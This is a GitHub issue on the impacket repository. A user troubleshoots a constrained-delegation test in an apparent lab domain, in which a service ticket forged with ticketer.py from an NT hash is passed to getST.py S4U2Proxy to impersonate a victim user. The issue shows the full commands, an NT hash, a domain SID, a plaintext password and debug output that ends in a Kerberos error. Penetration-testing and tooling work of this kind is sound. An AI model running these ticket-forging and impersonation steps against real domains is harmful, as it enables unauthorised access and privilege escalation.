fortra / impacket

Impacket is a collection of Python classes for working with network protocols.
https://www.coresecurity.com
Other
13k stars 3.5k forks source link

Constrained Delegation With Ticketer ST Gives "KRB_AP_ERR_MODIFIED(Message stream modified)" #1713

Open cburk opened 3 months ago

cburk commented 3 months ago

Configuration

impacket version: impacket_0_9_13-2498-g4b56c18a Python version: 3.11.4 Target OS: client - kali, DC - Windows Server 2016 Standard Eval Edition v1607

Debug Output With Command String

Howdy,

I'm trying to use impacket to test a particular constrained delegation scenario. Given the NTLM hash for a service account user "Cousin" with spn kafka/wef.windomain.local and msDS-AllowedToDelegateTo = [ kafka/dc.windomain.local ], I want to use ticketer to construct a forwardable ST for a victim user "SteveSQL" and then use getST.py w/ S4U2Proxy to exchange that ST for an ST for the victim => kafka/dc.windomain.local (basically scenario 2 from here: https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/#:~:text=domain%2Dcontroller%2Dfqdn-,Constrained%20Delegation,-References%20/%20Background).

My understanding is that this should work, but instead I'm getting Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified). Here are the commands I ran:

First, forging the ticket with the service account's nt hash:

./ticketer.py -nthash 279fec487cbb90ea8cf6d4b396474043 -domain-sid S-1-5-21-3093748332-960232250-2469032272 -spn kafka/wef.windomain.local -domain windomain.local -user-id 1108 -domain windomain.local SteveSQL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for windomain.local/SteveSQL
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in SteveSQL.ccache

Then using that service ticket to impersonate the victim (SteveSQL) and get an ST for kafka/dc.windomain.local:

./getST.py -spn 'kafka/dc.windomain.local' -impersonate 'WINDOMAIN/SteveSQL' -dc-ip 192.168.194.138 -additional-ticket ./SteveSQL.ccache -debug 'WINDOMAIN/Cousin:ILoveYou90'
Impacket v0.11.0 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/kali/Tools/impacket/.venv/lib/python3.11/site-packages/impacket
[-] CCache file is not found. Skipping...
[+] The specified path is not correct or the KRB5CCNAME environment variable is not defined
[*] Getting TGT for user
[+] Trying to connect to KDC at 192.168.194.138:88
[+] Trying to connect to KDC at 192.168.194.138:88
[*] Impersonating WINDOMAIN/SteveSQL
[*]     Using additional ticket ./SteveSQL.ccache instead of S4U2Self
[+] Returning cached credential for KAFKA/WEF.WINDOMAIN.LOCAL@WINDOMAIN.LOCAL
[+] Changing sname from kafka/wef.windomain.local@WINDOMAIN.LOCAL to b'kafka/wef.windomain.local@WINDOMAIN.LOCAL' and hoping for the best
[+] TGS_REP
TGS_REP:
 pvno=5
 msg-type=13
 crealm=WINDOMAIN.LOCAL
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   SteveSQL

 ticket=Ticket:
  tkt-vno=5
  realm=WINDOMAIN.LOCAL
  sname=PrincipalName:
   name-type=1
   name-string=SequenceOf:
    kafka    wef.windomain.local

  enc-part=EncryptedData:
   etype=23
   kvno=2
   cipher=0x9bed207b3db8ae4ce67c374083a5ddea40a297781711a8c845a4043c4aa4c1ec9655380b7703bbb048b3b6575b470898569ab71b3d0164bd996e6bb7baea4fb3a8d6b39e6f5e9f7a5998843eacddba5dcf159cc115245a6959d1ffc2f82772ec36043745238744f46aa2880976ade923e0d1d31d20fd09bd6f5cb394b64e7cb116a2b453d51941c731b8467ed0d65da7ae3665b8809cbbd776aec6dd44f2e3fe43b328b7dc446f9cbe6782e2e1ff48ca2f09342e43766e4cfd7213ff0e44fa9e711c5a2ee3550fd555a02bcdc2e952c3ac22f84704f89a094788574101d4f6ad7ad5c22e30b45085539b6720271a562f7f23668e0e2a67da77c8e79461eec89adf452c66193ace0a4b165e1a1c2684971355963ac3111d17abe0477a36344a8a2568475327c517fd483997882a81c701d6aab0c681ba4171042a59443ad7beef354a161b392a5c57ae4bb304a57dc9f9b0db1f5c4a200bb1f782759bc1871d6afe8498495207bbfe2259853f19832ab86eb068f1c4386dd4944e8ada40b3f177678a6610ce62bfb3223abc9d64bf19ebd495fb22f24e969ebf198711ea01fe860208afc34d5374258aef7b12c47bbeb51a638bd91a2f20e0f1f46f1faade317e0d7c507b4ec352ee3cb0c06debe7258a7b24d8c65701edc0f7e37d51e3aaf6184d53276f8334a7daddc43becfdc1196585682489fd9ba84e025d40a13101ec506a1c8b957adf42bc0a1211db33ca6b412929c6b10f2e292c579c5ff4f43b333865eaf97e5a97ddab21a3097cb7b6ccc319d15576547b5e63d50a2018b29143e4a043b38a4d747b82b03c6529ed70d2f7e363c440981745bc0310b09967b026b6b4a8c86826bfa4d12cbcfbce17c040ec1cf10322df0a06afae2497892267bd8141f02282692e617aad52bab695434d3d4fb4befbea8721d455f30168de3c2e9d011810ebaa8b10472eb8600c6ddb120d485f4b3cdc604940176b67688bd6836f6ee8fba214a55d66f12cd4c89450fec57c39936e97193495df70fa7a820bf2f85e1c0290108e47fcb44d556b032b1f5404e92cf02cb6c37e5ed8d0f4321641922a45eb47cc58a1abb3b123057ddf1fa03bfc8318b797dc80b9c0dbad44c41d05953257684e103b48fd96a62342649e8eaa4beb6ee67be265f7dfa7cc43bd57ca4b343317a943f457a3d068766c42f930d91298ae88e48c7098118701941cd8c6aaa836eccfebc250c2b0060ab95a29565ee8fca8b47a570f76b5c3dfbb15c0c8dc1d327852e99da64b09a000f34fc3122ab9259ebc4c2ba4f3db01f0f0ed5da3

 enc-part=EncryptedData:
  etype=1
  cipher=

[*]     Requesting S4U2Proxy
[+] Trying to connect to KDC at 192.168.194.138:88
[+] Server time (UTC): 2024-03-15 05:08:44
[+] Exception
Traceback (most recent call last):
  File "/home/kali/Tools/impacket/examples/./getST.py", line 652, in run
    tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
                                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Tools/impacket/examples/./getST.py", line 278, in doS4U2ProxyWithAdditionalTicket
    r = sendReceive(message, self.__domain, kdcHost)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Tools/impacket/.venv/lib/python3.11/site-packages/impacket/krb5/kerberosv5.py", line 91, in sendReceive
    raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)
[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

For additional context, the impersonating GetST.py request works if the ccache is the result of a previous GetST.py call for the victim => kafka/wef.windomain.local (happy to provide debugging output for that if it would help), which leads me to think the issue is with the ccache produced by ticketer (or, more likely, my usage of it).

Thanks for your time (and for the great tool)!

cburk commented 2 months ago

Also, for what it's worth, I'd be more than happy to help with implementing a change if y'all can point me in the right direction